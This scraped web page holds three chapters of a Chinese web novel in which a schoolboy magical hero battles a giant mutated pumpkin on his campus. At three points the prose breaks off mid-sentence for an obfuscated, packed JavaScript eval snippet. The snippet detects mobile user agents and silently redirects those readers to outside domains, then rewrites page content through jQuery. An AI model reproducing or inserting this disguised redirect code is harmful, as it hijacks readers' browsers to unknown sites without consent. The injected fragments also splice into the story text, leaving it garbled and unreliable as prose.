不过除了常映月稍稍产生了点愧疚外,其他几人并没有将他气鼓鼓的腮帮子放在心上。 特别是任穗,还没心没肺地挂在罗乐安的肩膀上,试图给自己的嫌疑人选“拉拉票”。 “那个女生真的很可疑啊,你不这么认为吗,乐乐?” “她……债肿么可疑里也不用勒史窝啊……咳咳……” 罗乐安身高174,在男生群体里的确不算高,奈何任穗更矮,刚一米五出头,这种身高差,后者的手臂勾在前者的脖子上,这种行为无异于“谋杀”。 好在温朗和常映月还有人性,两人联手将罗乐安从任穗的魔掌中解救了出来。 “没事吧?用不用去医务室?” 温朗翻开罗乐安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516619|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣领,仔细检查对方的脖子,还好,冬天衣服厚,并没有什么痕迹。 “放心放心,都是闹着玩的,没事的,嘶……” 一边说,罗乐安一边迅速将衣领翻回去。 冬天的风,真冷啊! 由于这番小动作,两个人又落在了一行人的最后。 但是对有“说小话”需求的罗乐安而言,这可以说是天时地利人和都占齐了。 “阿朗……” “嗯?” “关于我刚刚指控小葵的事,一定记得帮我保密呀!” 刚刚的“锁喉”没有对罗乐安造成什么实质性的伤害,反而还起到了意想不到的效果。 比如,终于让他从“沉浸式搅混水”的模式中,清醒了过来。 “保密?” “嗯嗯~” “那我有什么好处吗?” “好处啊……” 想到自己因为期中考试成绩以及生日的关系而重新丰满的小金库,罗乐安咬了咬牙,忍痛发出邀请。 “我给你买一套奥数题好了,最贵最权威的,可以吗?” “……” 温朗嘴角的笑容凝滞了。 饶是有十三年的相处经验,在某些时候,他还是无法参透罗乐安的小脑袋瓜里,到底都在想些什么。 就算对方是一本谜题,也不能总出烂梗吧! “我以为至少是顿饭。” “额……” “我有个疑惑。” “诶?” “我承认我算是个热爱学习和钻研的人,但我应该……不,是绝对不是一个痴迷学习的人。” “……唔?” “所以我到底做过什么,会让你对我产生这样的误会?” “……” 听到这个问题,罗乐安抿起嘴巴,头顶两根呆毛也像两根找寻不到信号的天线一样,无措地原地打转。 从对方全能型的发展路线来看,学术研究好像的确并不是最突出,或者说对方最看重的点,甚至可能还没高二时候的市级篮球联赛重要。 那自己为什么会脱口而出这个选项呢? 难道……大概……真的…… 是因为便宜吗? 瞧着罗乐安脸上越来越明显的“心虚”神色,温朗挑挑眉,已经大概猜出对方心里的大概想法。 生气说不上,就是有些心累。 不过这的确很“罗乐安”就是了。 “这么不走心,你是不是只想糊弄我?” “怎、怎么会呢?你想多了,哈,哈哈哈。” 罗乐安干笑着,却并没有缓解尴尬。 “我觉得有必要跟小葵好好汇报一下今天的会议内容,毕竟她也是研究会的……” “好啦!你想要什么好处,干脆直接提吧!” 罗乐安嘟着腮帮子,沮丧认输。 “我一定会答应的……” “什么都会答应吗?” “……我零花钱承受范围内的,都可以。” “那就下次考试的时候,数学成绩保持和这次一样好了,不难。” 罗乐安:o.O? 刚刚,是不是有什么脏东西从温朗的嘴巴里,钻到自己的耳朵里了? “一个问题。” “请讲。” “请问这种要求,你到底能够得到什么好处啊?!” 对于这个问题,温朗的回答是一个明媚到有些违和的笑容。 “……阿朗,你正常点儿,我有点冷……唉哟!” 吐槽的后果是一个实打实的脑瓜崩,罗乐安不再说话,只是捂着额头,蹙眉看向温朗等待答案。 “我的好处啊…… “嗯嗯。” “就是能得到情绪价值。” “啥?” “你知道养成游戏吧?” “诶——?” 罗乐安有点傻眼,“养成……游戏?” 53. GOURD③ “养成……游戏?” 罗乐安重复了一遍这四个字,觉得今天自己和温朗的语言系统,总归有一个是有问题的。 不是他的输入系统信号识别有障碍,就是对方的输出系统出现了紊乱bug。 可温朗本人显然没有意识到问题出在哪儿,依旧维持着一贯温柔内敛的笑容。 “没错,养成游戏。” “是那个‘玩家需要在游戏中培育特定的对象并使其获得成功然后玩家可在其中获得成就感’的养成游戏吗?”* “……噗~” 温朗的“人机模式”终究还是被罗乐安用“魔法”打败了,有些失礼地笑出了声。 “倒也不用背百度百科来解释——以前小葵跟我分享的时候我还不理解,现在切实感受了一番,发现的确有点意思。” 而作为“有点意思”的当事“意思”,此刻还在孤独地进行一个人的头脑风暴。 具体分工是他本人负责“头脑”,而头顶搅成直升机螺旋桨的两根呆毛负责“风暴”。 “总感觉……哪里不太对劲儿。” 不是指“温朗跟养成游戏并列出现”这件事——当然了,没有说这事儿不怪的意思——只是他心里有一种更加违和的感觉。 他像只小仓鼠一样,双手捂着脸颊,鼓着腮帮皱着眉,一脸解不开的困惑。 “我……是不是被占便宜了?” “噗!” 这一次,温朗笑得更放肆了,甚至连捂嘴的假动作都不肯做了。 主要是他现在真的很开心,连刚刚因为奥数题而变得有些糟糕的心情,都重新轻盈了起来。 不过其他人的心情可就没这么美丽了。 进入十二月后,温度大幅度下降,而作为北方城市的湖灵市更是正式进入“冰封期”,每天的最高温度只有零下十度上下,因此就算大中午的太阳照在身上,在外面待太久还是会觉得冷。 食堂距离教学楼不算太远,原本任穗几人也没什么吹冷风的机会,谁料罗乐安和温朗的悄悄话越说越多越说越久,到最后更是直接不走了。 这已经是第二次了,任穗严重怀疑他们两个有异食癖——爱喝西北风。 “哎呀哎呀我错了,大小姐你可别再造谣了。” 因为任穗“怒火の召唤”,罗乐安不得已暂停刚有一丢丢进展的思绪,拉着温朗快步跑过去,满脸谄媚。 “你再多说几句,明天学校里就好传我是外星人了——我请你们喝奶茶可以不?” 好不容易安抚好因为寒风而暴躁的任穗,几个人也一路小跑到了教学楼楼下,争先恐后地往里跑。 罗乐安是倒数第二个,他的手指也有点冻僵了,现在只想进教室和暖气片贴贴,只是在跨过楼门的那一瞬间,他脸色一变,动作也因此停了下来,跟后面的温朗撞了个正着。 “怎么了?” 后者稳稳撑住他的后背,关切地问道。 “没事,”罗乐安很快就整理好了表情,走进楼里,“刚刚眼花了一下——你快回教室吧,我也要回去暖和暖和了。” 两个人在二楼楼梯口作别,直到看见温朗的身影彻底消失在三楼拐角处后,躲在走廊死角的罗乐安连忙朝着走廊另一侧尽头的卫生间跑去,径直冲进了最里面的隔间。 然后,他从口袋里掏出了游戏机吊坠。 “出事地点在哪儿?” 之前那五十余天的漫长升级,自然是不可能只更新了一个“3D打印”功能,更重要的是罗乐安之前苦求的“谵蘖探寻”功能终于被丧丧搓出来了。 尽管只是1.0版本,还只能监测到半径两公里范围内的异常能量,做不到提前预警,可这也比没有强。 「隔壁。」 “哪个隔壁?体校还是东校区?” 「东校区。」 “具体什么情况?” 「……万圣节游行?」 “……?” 为什么是疑问语气? 而且“万圣节游行”又是什么鬼啊! 再说了,万圣节不是都过去一个多月了吗? 然而罗乐安的满肚子牢骚还没来得及吐,就感觉身子不受控制地一歪,脚下更是一阵地动山摇。 他当即顾不得去探究那些有的没的,放出3D打印的替身给自己做不在场证明,他本人则翻身从卫生间的窗户一跃而出,空中完成变身后,直奔东校区。 而等到他真的到了“案发现场”后,也终于明白丧丧所说的“万圣节游行”到底是什么意思。 东校区的食堂附近,此刻已经变成了南瓜的“游乐园”。 没错,这次受到异常能量影响变成谵蘖的植物,正是学校蔬菜大棚里种植的南瓜,而且还是特意被留到最后的那个南瓜王。 当然了,现在的它进化了,硕大的身躯将大棚直接撑坏,撑杆和篷布被压在泥土里,满地狼藉。 至于那颗南瓜,虽然纵向直径只有两层楼的高度,可横向直接从半米膨胀到了将近十米,以至于尽管外观依旧圆滚滚,但在“巨物恐惧症”的debuff影响下,就算做出了原地蹦跶的举动,也已经看不出丝毫可爱的感觉了。 是的,刚刚那句话的重点,是“南瓜的”,而不是“南瓜主题的”。 现在整个校园都是谵蘖的游乐场,在空地上拼命蹦哒玩耍的是南瓜本瓜,而被迫“出演”设施和NPC的,则是附近因为地颤而倒了一地的师生们。 一路跑酷穿越校区,来到主战场的时候,罗乐安看到的就是这“横尸遍野”的一幕,当即也顾不得自己的slogen和亮相动作,一记冰冻箭射了过去,将马上又要再次蹦跶起来的巨型南瓜定在了原地。 “不用慌,不用怕!守护和平的在此,一定会保护你们的安全的~” 趁着冰冻箭制造出的安全环境,他紧急装了一波大的。 只是没有得到任何回应。 不仅如此,地上那些人连动都没动,还维持着倒地的姿势,看样子是吓坏了,还没清醒。 罗乐安倒是清醒了,顿时顾不上那些虚头巴脑的东西,加大嗓门,试图把人叫醒。 “还愣着干什么!” 他一着急,声音都来不及伪装,甚至还有些破音。 “还不站起来快点逃!” 这话喊完,他停顿了两秒,又接着吼了一嗓子。 “往操场这些空地上逃,别进楼!” 刚刚在西校区的楼里,他都感受到了如地震一般的强烈震感,那西校区作为“震源”,进楼说不定会更不安全。 连吼了两嗓子,又给谵蘖补了一发冰冻箭后,地上的人终于陆续有了反应。 或许是他之前的正式亮相,减弱了在场大部分人心里的疑惑,因此对于他的指挥并未有太多怀疑,全都连滚带爬往外逃,就算有好奇心比猫重的缺心眼中二少年,也被在场的成年人强制架离了现场。 眼看谵蘖附近再没什么普通人,罗乐安面上不显,心里还是松了口气。 还好这个时间已经过了就餐高峰期,食堂里面没多少人,至于教学楼里的学生,有老师看着,应该也不会一意孤行想不开往这边凑。 算是给他省了不少事。 而就在他暗自庆幸的时候,空气中传来“咔”一声,那是封锁在谵蘖身上的冰壳开始破裂的声音。 “咔咔”声接连不断地响起,这预示着谵蘖马上就要挣脱束缚。 但是罗乐安早就有心理准备,并不慌张,甚至对于两发箭就能将如此巨大的谵蘖定上这么久这件事,表示十分惊喜。 看来升级过后,技能的魔力效力也有所提升,真的是可喜可…… “砰——” 他心里的锣鼓还没“贺”完,那边的超巨型南瓜就已经完全挣脱了束缚,一个“泰山压顶”下来,地面就再度震颤了起来。 “唉哟!” 许是刚刚又有点走神的缘故,罗乐安没有维持好平衡,身体一歪差点摔倒,幸好最后关头倚靠柔韧的身体条件扭转了姿势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528970|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从屁股着地转成了双手撑剑单膝跪地,算是保住了面子。 不过这一觉也不算白摔,他发现了一个好消息。 这次的谵蘖,攻击手段似乎只有通过跳跃落地引发震动,虽然威力巨大,可方式单一,还算是好躲避。 关键是它并不会移动补刀,杀伤力也因此大幅度降低。 但是如果再来几次,附近的楼房可能就会有问题了。 所以还是不能大意,要速战速决,而且3D打印的功能只能维持10分钟,如果没在这期间搞定谵蘖及时赶回去,很可能会引起新的骚动。 想到这里,罗乐安集中精力,站起身来纵身一跃,跳上了食堂的三楼屋顶,想要从高处仔细观察,寻找谵蘖的弱点和对策。 还真让他找着了! 南瓜本体其实并没有弹跳的能力,它真正能够活动的部分,其实是南瓜藤。 等比变大的粗壮藤条一侧深深扎进地底,另一侧则将位于中间的南瓜高高举起,然后再松力,让南瓜砸落到地上,造成震动攻击。 所以—— “把藤蔓砍断就行了。” 罗乐安念叨完总方针,很快就开始了实践。 他脚下一个用力,跳到半空,然后朝着南瓜藤一剑劈下。 效果…… 很酸爽。 藤条枝叶毫发无伤,他本人倒是被震得不轻,从头发丝儿到脚后跟,浑身上下全是波浪线,灵魂都要被晃“散黄”了。 双方都因为这一击而陷入了短暂的停滞,三秒过后又同时解封,南瓜藤抡圆抬高,而罗乐安则是飞快后跳,重新落回到食堂楼顶,避开了藤条的攻击。 “皮可真硬啊……只靠平A果然不行。” 鼓了鼓腮帮子,对于这个结论有些遗憾,不过很快就重燃斗志。 “还好上次我已经得到了更强的力量,嘿嘿~” 一边发出窃笑,罗乐安一边调动身体内的魔力,下一秒,右手的剑就换成了那把星辰般华丽的两米长剑。 与此同时,他也因为长剑的出现而整个人不受控制地向右栽倒。 “嘶……” 就算是用过一次,这个重量依旧让他有些难以招架。 只是当他身心都准备好后,还是成功将剑举过头顶,甚至比上一次还轻松了一些。 但是面对一直在扭动的南瓜藤,想要一击即中,可不是只要举起剑这么简单就行的。 还是得让对面先停下来。 罗乐安思及此,将手上的剑先收了起来,换成了弓箭。 这样的魔力转换无疑会产生一定的浪费,然而磨刀不误砍柴工,有些损耗是必然要有的。 他一跃而起,冲着南瓜左右两侧的藤条就是两发冰冻箭,成功将其冻结在半空。 “唔……” 对于谵蘖最后定格的姿态,罗乐安有那么一丢丢不满,因为南瓜藤举在半空,他的攻击高度落差就会变小,攻击效力很可能也会相应降低。 可是现在并没有太多时间可以让自己去调整这些细节了,他重新换回长剑,深吸一口气,不再犹豫地从楼顶一跃而下,手里的剑则重重砍在了右侧的藤条之上。 冻结的藤条应击而碎。 “奈斯!” 眼瞧着攻击奏效,罗乐安忍不住低声欢呼,只是也没有松懈,一鼓作气,如法炮制,将另一侧的南瓜藤也彻底击碎。 “咚!” 伴随着南瓜闷声落地的巨响,他也帅气着陆,双手举剑摆出了帅气的Pose,心中对于自己刚刚的表现,打出来一个满意的10分。 然而他心里的得意并未维持多久,就听到身后传来了一个不太对劲的声音。 “咕噜……” 与此同时,地面又传来了震感,虽然没有之前那么强烈,但随着声音越来越大,距离他越来越近,那种震动也在逐步加强。 该、该不会…… 罗乐安开始不安,而就在这时,一个巨大的阴影,将他笼罩了起来。 54. GOURD④ 危险! 在阴影投下的第一时间,罗乐安就依循内心的直觉,在一阵诡异的风擦过自己的一瞬间,完成了收剑、翻滚、起身、侧跳等一系列操作,最后成功落到了附近的一棵高大的松树上。 听到身后那串“骨碌碌”的声音渐远,他扶着树干转过身,就见自己刚刚着陆的地方,出现了一道宽约四米,深达一米的压痕,不,是壕沟。 而沿着痕迹向前看,就见一个巨型南瓜正在笨重地滚动着。 “呼……” 罗乐安喘着粗气,后怕地拍了拍胸口,庆幸自己刚刚足够警觉,这才能第一时间逃过“南瓜压路机”的摧残。 毕竟他不是汤姆猫,如果真被压到,他肯定是变不成可以瞬间回弹成原貌的“猫饼”的,只会和泥土你中有我,我中有你…… 然后在来年开春的时候,成为护花的养料。 太可怕了! 画风都蹦掉了好嘛! 他被自己的脑补吓得一哆嗦,头顶的大毛和二毛也抖得跟得了帕金森一样。 然而刚晃悠了没几下,两根呆毛就齐齐炸成鸡毛掸子,与此同时,罗乐安本人则是倒吸了一口凉气,呲目欲裂。 没时间庆幸劫后余生了! 从树枝上一跃而下,他一边如此想着,一边朝着南瓜远去的方向飞奔而去。 只因为南瓜翻滚的前方不远处,是教学楼。 虽然这边闹出的动静足够大,校方应该已经在组织人员疏散了,可时间这么短,楼里一定还有不少人,如果谵蘖真的撞了上去,那后果一定不堪设想。 想到这儿,他不禁脚下用力,再次加快了速度。 好在尽管这个谵蘖南瓜体型的确巨大,每翻滚一周,都能前进个二三十米,然而也正是由于太大,整个瓜过于笨重,就算有高度差提供了初始速度,翻滚动作还是比较迟缓。 所以在距离教学楼还有一百来米的地方,罗乐安顺利追上了“漫步校园”的南瓜。 不过成功追上并不等于成功拦截,他脑筋转动的速度也远不如腿脚,而这导致的结果,就是典型的“词儿没想好人上去了”。 他虽然已经横在南瓜面前,却并没有思考出抵御的方法。 反正有一点他可以确认,那就是只靠自己这小胳膊小腿的,无异于螳臂当车。 但是…… 在没有想到其他方法之前,还是要先试试看,就算挡不住,能改变移动方向或者减缓移动速度也是好的。 下定决心后,他右脚向前踏出,左脚则用力踩实地面,重心微微下移,同时将双手举高,召唤出“Proplus”版本的盾牌。 之前对付那棵康乃馨谵蘖的时候,罗乐安还觉得这盾牌足够大,然而在这颗超大南瓜面前,却根本不够看。 更糟糕的是,刚刚使用长剑已经耗费了他大半的魔力,现在换上盾牌,防御效果还不知道会不会打折。 可还是不能放弃,还没到山穷水尽的地步。 首先,想办法加固盾牌。 他深吸一口气,开始调动身体里的全部魔力——不仅仅是右手里的,还有“寄养”着丧丧的胸口部分——努力将手里的盾牌加大、加厚。 魔力成功被调动了。 盾牌上的银色光辉变亮了许多。 只是随着胸口处的魔力被不断抽取,罗乐安也感受到了丝丝闷窒感。 该不会,被抽出后天性心脏病吧? 难受的感觉让他的思绪有些混乱,又开始忍不住东想西想。 但就在下一秒,南瓜的阴影“歘”地投下,他当即回神,也顾不得胸口逐渐加重的疼痛,集中意念,想要调取更多魔力。 再怎么说,他(和丧丧)也是更新升级过的,一定还能压榨出更多潜力。 “嗬——” 随着魔力的不断输入,手里的盾又大了一圈。 罗乐安也不知道这样的盾能不能挡住谵蘖,然而现实的情况已经不容他再继续加固了,除了身体有些支撑不住之外,更是因为南瓜已经近在眼前了。 “咚——!!!” 一声巨响,那是谵蘖撞击到盾上的声音。 同时也是罗乐安脑壳内上演的混响。 如果说之前砍南瓜藤的那一下,震颤只作用在他的表层,也就是产生了炸毛和鸡皮疙瘩,那这一次,他感觉自己绝对是受了内伤,同时各个关节也都要被震错位了。 不过就算是这样,他似乎也没能成功拦截这枚南瓜“保龄球”。 谵蘖的压迫感极强,罗乐安能明显感觉自己已经开始在向后倒。 但与势头强劲的南瓜正好相反,他却从里到外,连头发丝儿都虚弱无比,没有丝毫反击之力。 靠! 该不会真要GG了吧! 才不要嘞! 濒死的恐惧让罗乐安的神志清醒了些,他想起了刚刚被自己遗忘的技能,连忙按下左手柄背后的按键。 反弹攻击。 “嘭!” 万幸,技能奏效。 在按下按键的瞬间,他就感觉到身上的压力骤减。 不过只是给了他喘息的空间,压力还在,并没有被他弹飞。 果然还是力量悬殊。 不过没关系,好歹给了他思考对策的时间。 乐观的罗乐安如是想,却不料下一秒,眼前的盾牌上的银光就开始闪烁了起来。 耐久快不够用了。 真的是屋漏偏逢连夜雨,船破又遇顶头风。 老天爷你要是真想亡他,能不能干脆一点,总是搞他心态算什么啊! 罗乐安在心里破口大骂,精神头倒是因此好了些,胸口的窒闷感也因为胸口激发的怒气而消散了许多。 然而就在这时,新的堵,添进来了。 “……快、快逃……变异南瓜要压过来了!” “唉哟!慢点慢点,我的鞋掉了……” “鞋哪有命重要啊!” “没、没那么严重吧?不是有那个L、L……L啥来着?” “L-RAether——可是那家伙已经自身难保了,根本指望不上!” …… 正在从楼里向外撤离的学生们的交谈,乘着冬天凛冽的寒风,毫不留情地钻进了罗乐安的耳朵。 一个字儿都没落下。 “说!谁!自身难保……呢!” 他咬牙切齿地低声重复着,每个音都透出杀气。 “说!谁!指望不上呢!!!” 越想越气,越气越恨,越恨,手就越狠。 就越有力气。 至于新来的那些郁气,也在此刻化愤懑为力量,自他的胸前流向全身各处,最终汇聚到左手那里。 身前的盾也终于停止了闪烁。 愤怒再次引发了奇迹。 更棒的是,奇迹还不止这些。 随着盾牌逐渐稳固,左手柄背后的反弹键开始发烫,罗乐安没有丝毫犹豫,再次按住,同时双手猛地向前一推。 “砰——” 伴随一声巨响,压在他身上和一群人心头的巨大南瓜,终于被成功弹开,朝着反方向飞去。 尽管并没有飞多远,只是又回到了“出生地”,但那附近只有一小片松树林,还有一个最先撤离、人最少并已经走空了的食堂,相对而言,在那里周旋的损失是最小的。 罗乐安也是这么想的。 他站起身,重重地喘着粗气,心里升起的不只有劫后余生的畅然,还有一个极其不着边际的想法。 等到他将谵蘖全部消灭,功成名就名垂青史之后,他要出一本书,书名都想好了,就叫《魔法使修炼手册》。 书里面他要着重强调“愤怒”的重要性,是魔法使的“第一生产力”,是魔力的第二“泉源”。 这都是他用实践总结出来的宝贵经验啊! 这边罗乐安在脑袋里疯狂做着白日梦,那边被松树拦住的谵蘖,又有了新的反应。 明明已经停住了,却突然在没有外力作用的情况下再次动了起来,并且周身还发出了诡异的红光,一闪一闪的。 早在南瓜开始滚动、压到大棚撑杆发出“咔咔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542273|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的声音时,罗乐安就已经回神了。 却并没有动。 不是他不想,而是此刻他的身体还没缓过来,能站稳,却因为腿软而难以移动,更别说跑跳了。 这一瞬间,他甚至很想雇刚刚那几个学生再过来奚落他几句,这样就可以形成“永动机”系统了。 好在经过刚刚的对抗,谵蘖也没有轻举妄动,并没有朝着罗乐安碾压过来,只滚出了十几米就停住了。 柄儿朝上,底儿朝下,就好像之前的动作只是用来调整姿态。 接着,红光消失。 环境静谧,空气凝滞,给人一种风平浪静的感觉。 可罗乐安知道,这都是假象,因为南瓜身上的那种不祥的诡异感,越发重了。 他屏住呼吸,严阵以待,再也不敢胡思乱想。 然后—— “咚!” 南瓜自己蹦起来了。 “咚!” 虽然蹦得没有之前高,但那么大的重量从两米高的地方落下来,依旧能够引发巨大的震颤。 “咚!” 南瓜用跳跃的方式前进着,一点一点朝着罗乐安的方向前进。 是朝着自己来的。 尽管没有确切证据,不过他就是有这种感觉。 为了验证这种预感,他抬起发软的脚,咬牙朝着另一侧的空地小跑而去。 而就在他移动了大概二十米之后,他发现南瓜的移动方向,变了。 “咚!” 温朗不知道自己这是第几次听到这种闷雷般的响动了。 一开始的几声动静更大,震感也更强,可只响了几下就消停了。 但并未安静多久,东校区那边就又传来了新的动静,声音和震感相较之前有所减弱,频率却增加了。 然而实际上,对于东校区的情况,温朗并没有非常上心,他心里只是在担心罗乐安。 是的,这家伙又不见了。 其实在老师刚开始组织从楼内转移的时候,他还是有看到人的。 当时他们刚安全撤离到操场,他远远看到对方和任穗跟常映月待在一起,而那时二十个班还在各自整队,他作为班长,还需要帮老师一起完成点名工作,实在是不方便擅自脱队。 加上罗乐安的状态看起来很安全,没有什么受伤的迹象,他就忍着担心,并没有第一时间找过去。 结果,他刚找齐班级里的人,还没来得及做最后的确认统计,任穗就先一步找了过来。 “温朗,你看到乐乐了吗?” “……什么意思?!” 听到任穗的话,温朗先是愣了一下,而后点名板“啪嗒”一下从手里掉落,他却毫无所觉。 “乐乐刚刚不是跟你们待在一起的吗?!” “刚刚的确是在一起……” 尽管肩膀被温朗捏得很痛,但任穗这个时候也顾不上抱怨,“可等我帮小月统计完人数之后,就再没找见他了,问了其他人,也没人注意到他去哪儿了……” 按理说,不管罗乐安再怎么不着调,也知道现在不是乱跑玩闹的时候,而这也是他招老师和同学喜欢的原因——调皮但是不捣蛋,贪玩但是不逾矩。 不过不怕一万就怕万一,谁都不能保证他会不会在这个节骨眼中二病发作。 要是真脑回路打结搞出点什么……天啊! “他、他该不会又乱跑,去东校区看热闹了吧?” 一想到这个可能,她激动地扒住温朗的手臂,因为心急,眼角眼泪都迸出来了。 “不会,”温朗这个时候已经冷静下来了,安慰道,“两边校门都有老师盯着,他出不去的。” “那,万一他翻墙……” “放心,韩老师早有准备,所有方便上墙的地方都有人看着。” 话是这么说,可平静只是温朗的保护色。 他的眼底漆黑一片,那是不知道什么时候就会爆发的汹涌岩浆。 至于让他生气的罪魁祸首,并不知道自己未来可能会面临什么。 他还在跟丧丧谈判。 55. GOURD⑤ 这场谈判,此刻已经进入到了白热化的阶段。 一开始,在发现“篮球南瓜”的目标,的确是自己后,罗乐安他仗着对面的移动速度缓慢,打算重启“风筝”战术——其实叫“犁地”战术可能更加准确形象——这样不但可以吸引谵蘖去不会引发重大事故的空旷地方,还能给他充足的时间,慢慢恢复体力和魔力。 只是他高估了谵蘖的“善良”。 动作迟缓只是它初期适应不良的表现,等到“磨合期”结束之后,南瓜的移动速度马上就快了起来。 蓄力三秒,再全力一蹦。 尽管跳跃的频率下降了,可每一蹦都是实打实的二三十米。 可以说跟罗乐安的速度差不了太多。 以至于虽然他还能勉强放风筝,却因为谵蘖追得太紧,根本没有休息的空隙,更别说恢复能量打怪兽了。 万般无奈之下,趁着南瓜被他引到林子里,又被几棵松树卡住的空档,他抓紧时间向丧丧求助。 “有没有能让我恢复魔力的方法啊?除了挨骂生气——那不叫恢复,那叫预支,不对,是透支魔力!” 「没有。」 “装都不装一下吗?就算是敷衍也不用回答得这么干脆吧!你好歹是个精灵啊!肯定有办法的吧?不能因为名字叫‘404’就真的一直犯迷糊吧!” 「我没有敷衍。」 丧丧的声音依旧平(呆)缓(板),并没有因为罗乐安的激将而变得有所起伏。 「想要短时恢复魔力,只能依靠外界补给。」 “对啊!所以我才找你啊!” 「但是我没有补给,因为我没有魔法。」 “……” 罗乐安感觉到一阵窒息,脑袋被气得都有些晕眩了。 “这都什么时候了你跟我说这个!你现在竟然还有心思开玩笑——你是魔法使精灵诶!你跟我说你没有魔法?!” 他被气到破音,丧丧的声音却依然稳稳地维持在低频。 「或者说我的魔力很低,只能维持基础的转化功能,将吸收到的异常能量转化为魔力,然后才能补给给你。」 “我也想给你制造异常能量啊,但是我现在根本就伤不到它好不好!我……等下!” 原本已经暴躁到想要揪头发的罗乐安,突然想到了什么,瞬间就冷静了下来,开始摸索腰侧的衣服。 变身后他的衣服其实是用魔力包裹并维持的表象,自己原本的衣服其实也还穿在身上,因此只要意念连接一下,就能从自己的羽绒服口袋里找出谵蘖遗留下的种子。 之前的五颗已经吸收升级了,此时手上的这颗,是上次家长会时留下的,他放在外套口袋里一直忘了拿出来,没想到还真能在关键时刻派上用场。 “这个!这个种子!” 将那个其貌不扬的种子举到胸前,罗乐安的声音里满是难以抑制的激动。 “这个种子里一定有能量,你可以将这颗种子转化成魔力!你之前升级的时候不就是靠它的吗?” 虽然丧丧曾经说过,种子里面已经没有异常能量了,可之前的升级既然用到了种子,那这次一定也有用。 而在听到他的话后,丧丧总算有所松口。 「的确是可以……」 果然! 罗乐安绷紧的脸终于显现出了笑容。 只是上扬的嘴角还没维持一秒,就因为丧丧接下来的话“PIA唧”又掉了下去。 「但是需要十天……」 “……” 听到这话的那一瞬间,罗乐安实在太想撂挑子不干了。 甚至都想主动引爆地球,爱咋咋地。 幸好,他骨子里还是一个热爱生活珍爱和平的高尚少年,反/动的思想转瞬即逝,他很快就集中精神,继续谈判。 毕竟他刚刚好不容易才撕开了口子,是绝对不能就此放弃的。 “丧丧,你搞搞清楚好不好啊!咱俩现在是一个战线的,消灭谵蘖不是我一个人的事啊喂!你是真不打算回到故乡了吗?可这么发展下去,你想在地球扎根也很难好嘛?!要是再磨磨蹭蹭下去,咱俩就都要完蛋了,到时候你留着那些压箱底的东西给谁用啊!连烧给你的人——或者精灵——都没有啊!” 牛马什么时候会愿意加班呢? 无非四个字:趋利避害。 刚刚罗乐安着重强调了一下“避害”,接下来就要画个大饼,分析一下“趋利”的流程。 “而且你也看到了,这次的谵蘖要比之前更难对付,这肯定也意味着,消灭谵蘖的时候你可以吸收到更多的能量,对不对?还有啊,之前砍南瓜藤的两剑都没有吸收到能量,你知道这意味着什么吗?这意味着如果你想要更多能量,就只能跟南瓜本体打——想要有收获,总得有投资吧?你加快处理这颗种子,‘加班费’可以从之后吸收的能量里面扣掉的呀,你亏不了的!” 罗乐安感觉自己这番话术都可以载入史册了,其中的逻辑与口才,想必就算是温朗听了都要夸一句好。 就在他的思绪即将开始新一轮的“飘扬远航”时,丧丧终于转了口风。 「我试试。」 成功让他涣散的注意力重新凝聚。 种子飘进胸口手柄的时候,卡着南瓜的松树几乎全军覆没,大都东倒西地歪斜躺平,只剩下两棵还勉强立着。 这样看来,谵蘖脱困是分分钟的事了。 好在他的体力也在谈判的这几分钟里有所恢复,尽管剑盾和弓箭都还暂时无法使用,却已经能够进行小幅度的跳跃了,因此还是可以继续“放风筝”牵制一下。 罗乐安之前的判断没有错,没过两分钟,那颗篮球南瓜就将两棵松树撂倒,再度朝着自己蹦跶过来。 就是蹦跶得不算太顺利,那些高大的松树让它的动作变得磕磕绊绊,移动速度更是严格受限。 选了个这么好的战场,他可真是太棒了! 在心里狠狠夸了一下自己后,罗乐安深吸一口气,右脚一蹬,开启了新一轮的“风筝大战”。 地点,就在这片茂密的松树林。 只是过了今天,客观上极大可能就无法再“茂密”了。 不,甚至可能这片小林子,都要从学校地图上除名了。 他默默为负责校内绿化的工作人员道了声歉,但是步履不停,依旧是哪里树多去哪里。 没多久,林子就开始cos老韩头——秃了。 而这期间,位于隔壁校区的“盗版”罗乐安的使用时间也已经马上就要到了。 好在本体对其还是有感应的,在替身消失前,就远程指挥其悄悄远离人群,这样就算之后突然消失,也不会吓到别人,引起骚动和不必要的怀疑。 解决完后顾之忧,罗乐安继续专注眼前。 在他“牵”着南瓜兜了两圈,压倒松树无数后,胸前沉默良久的手柄胸针终于有了反应。 一道泛着银色的蓝光射出,一分为四,钻进了他的四肢,几股暖流自外向内,一路汇集到心脏处,而他被冬季寒风吹得冰凉的手脚,也因为魔力的补足而重新温暖了起来。 